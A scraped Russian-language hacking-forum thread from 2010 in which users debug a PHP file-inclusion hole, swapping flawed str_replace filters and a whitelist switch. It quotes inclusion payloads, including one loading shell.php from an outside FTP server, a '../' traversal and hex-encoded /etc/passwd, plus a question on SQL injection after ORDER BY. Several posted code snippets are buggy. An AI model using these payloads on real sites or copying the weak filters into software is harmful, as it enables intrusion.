HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #11931  
Старый 12.03.2010, 13:37
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от Jokester  
Угу, этот способ просто класс
file.php?page=ftp://vasa:qwerty@ftp.narod.ru/shell.php

PS Я так полагаю в str_replace ты просто опечатался, как и в '\', а то вообще работать не будет.

почему? точка вырезается же, с ftp не проканает.

А "\" вырезается, чтобы не передать в хексе путь

\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64 = /etc/passwd


Про опечатку - действительно два слеша надо, т.к. экранирование.

PHP код:
<? 
if ($page=="") { 
$page="any.php"
include(
$page); 
}else{ 
str_replace('.'''$page); 
str_replace('/'''$page); // прямые тоже  вырезать
str_replace('\\'''$page); 
if(
file_exists($page)){ 
include(
$page); 


?>

Последний раз редактировалось попугай; 12.03.2010 в 13:55..
 
Ответить с цитированием

  #11932  
Старый 12.03.2010, 14:21
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами: 9100556

Репутация: 912
По умолчанию

попугай, ничего твой "фильтр" не вырезает. Проверь сам

PHP код:
if ($page=="") {  
$page="any.php";  
include(
$page);  
}else{  
str_replace('.'''$page);  
str_replace('/'''$page); // прямые тоже  вырезать 
str_replace('\\'''$page);  
if(
file_exists($page)){  
include(
$page);  
}  
}

//test.php?page=../xek.txt
//test.php?page=ftp://vasa:qwerty@ftp.narod.ru/shell.php 
Проверял бы..
 
Ответить с цитированием

  #11933  
Старый 12.03.2010, 14:52
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию

Цитата:
Сообщение от .:[melkiy]:.  
попугай, ничего твой "фильтр" не вырезает. Проверь сам

PHP код:
if ($page=="") {  
$page="any.php";  
include(
$page);  
}else{  
str_replace('.'''$page);  
str_replace('/'''$page); // прямые тоже  вырезать 
str_replace('\\'''$page);  
if(
file_exists($page)){  
include(
$page);  
}  
}

//test.php?page=../xek.txt
//test.php?page=ftp://vasa:qwerty@ftp.narod.ru/shell.php 
Проверял бы..

PHP код:
$page $_GET

добавь


Да, надо переменной присваивать результат str_replace. Написал просто в общем виде алгоритм, над правильностью кода не задумывался поначалу.

Вот так будет полностью в-общем.


PHP код:
<?php
$page 
$_GET['page'];

if (
$page=="") {   
$page="any.php";   
include(
$page);   
}else{   
$page str_replace('.'''$page);   
$page str_replace('/'''$page); 
$page str_replace(':'''$page);   
$page str_replace('\\'''$page);   
if(
file_exists($page)){   
include(
$page);   
}   
}
?>

Strilo4ka, да это не идея, это обычная практика.

Последний раз редактировалось попугай; 12.03.2010 в 15:17..
 
Ответить с цитированием

  #11934  
Старый 12.03.2010, 17:16
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами: 8859263

Репутация: 334
По умолчанию

Есть запрос -
Код:
... GROUP BY f.id ORDER BY [сюда можем впихнуть что хотим] LIMIT 0, 15
Можно ли провести sql-inj , и как?
 
Ответить с цитированием

  #11935  
Старый 12.03.2010, 17:37
.:[melkiy]:.
Постоянный
Регистрация: 25.01.2009
Сообщений: 368
С нами: 9100556

Репутация: 912
По умолчанию

Цитата:
Сообщение от Jerri  
Есть запрос -
Код:
... GROUP BY f.id ORDER BY [сюда можем впихнуть что хотим] LIMIT 0, 15
Можно ли провести sql-inj , и как?
Инъекция после order by
_http://www.securitylab.ru/contest/212101.php
 
Ответить с цитированием

  #11936  
Старый 12.03.2010, 20:48
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Цитата:
Сообщение от попугай  
PHP код:
$page $_GET

добавь


Да, надо переменной присваивать результат str_replace. Написал просто в общем виде алгоритм, над правильностью кода не задумывался поначалу.

Вот так будет полностью в-общем.


PHP код:
<?php
$page 
$_GET['page'];

if (
$page=="") {   
$page="any.php";   
include(
$page);   
}else{   
$page str_replace('.'''$page);   
$page str_replace('/'''$page); 
$page str_replace(':'''$page);   
$page str_replace('\\'''$page);   
if(
file_exists($page)){   
include(
$page);   
}   
}
?>

Strilo4ka, да это не идея, это обычная практика.
в принципе да помогло инклуда больше нету...
но теперь неоткрываются другие странички
http://www.site.ru/index.php?page=activ.htm
http://www.site.ru/index.php?page=presentations.htm
вопрос как их туда добавить? чет у меня не получилось пока....
 
Ответить с цитированием

  #11937  
Старый 12.03.2010, 21:36
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

Цитата:
Сообщение от 547  
в принципе да помогло инклуда больше нету...
но теперь неоткрываются другие странички
http://www.site.ru/index.php?page=activ.htm
http://www.site.ru/index.php?page=presentations.htm
вопрос как их туда добавить? чет у меня не получилось пока....
А зачем делать через зад, если вот дали нормальный вариант:
https://forum.antichat.ru/showpost.php?p=1973181&postcount=12068

Или нужно понаставить фильтров, и думать обойдут их или нет?
 
Ответить с цитированием

  #11938  
Старый 12.03.2010, 21:49
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Цитата:
Сообщение от Jokester  
А зачем делать через зад, если вот дали нормальный вариант:
https://forum.antichat.ru/showpost.php?p=1973181&postcount=12068

Или нужно понаставить фильтров, и думать обойдут их или нет?
PHP код:
<?
$page 
$_GET['page'];
if (
$page=="") {   

switch(
$page) {
    case 
'page1':
    include(
"page1.html");
    break;

    case 
'page2':
    include(
"page2.html");
    break;

    case 
'page3':
    include(
"page3.html");
    break;

    ...
     
    default:
    include(
"home.html");
    break;
}  
?>
да я так поначалу и пробовал,но!!!

parse error: syntax error, unexpected '.' in /web/clients/index.php
 
Ответить с цитированием

  #11939  
Старый 12.03.2010, 21:55
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

посчитай фигурные скобки, вообще проверь код (надеюсь троеточие догадался удалить)
 
Ответить с цитированием

  #11940  
Старый 12.03.2010, 22:08
547
Участник форума
Регистрация: 11.10.2009
Сообщений: 116
С нами: 8728261

Репутация: 211
По умолчанию

Цитата:
Сообщение от Pashkela  
посчитай фигурные скобки, вообще проверь код (надеюсь троеточие догадался удалить)
да там одна лишняя фигурная
но всеравно странички которые написал вместо xxx.htm неоткрываются вместо них просто пустое место....

PHP код:
case 'page1':
include(
"xxx.htm");
    break;

    case 
'page2':
    include(
"xxxx.htm");
    break; 
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору.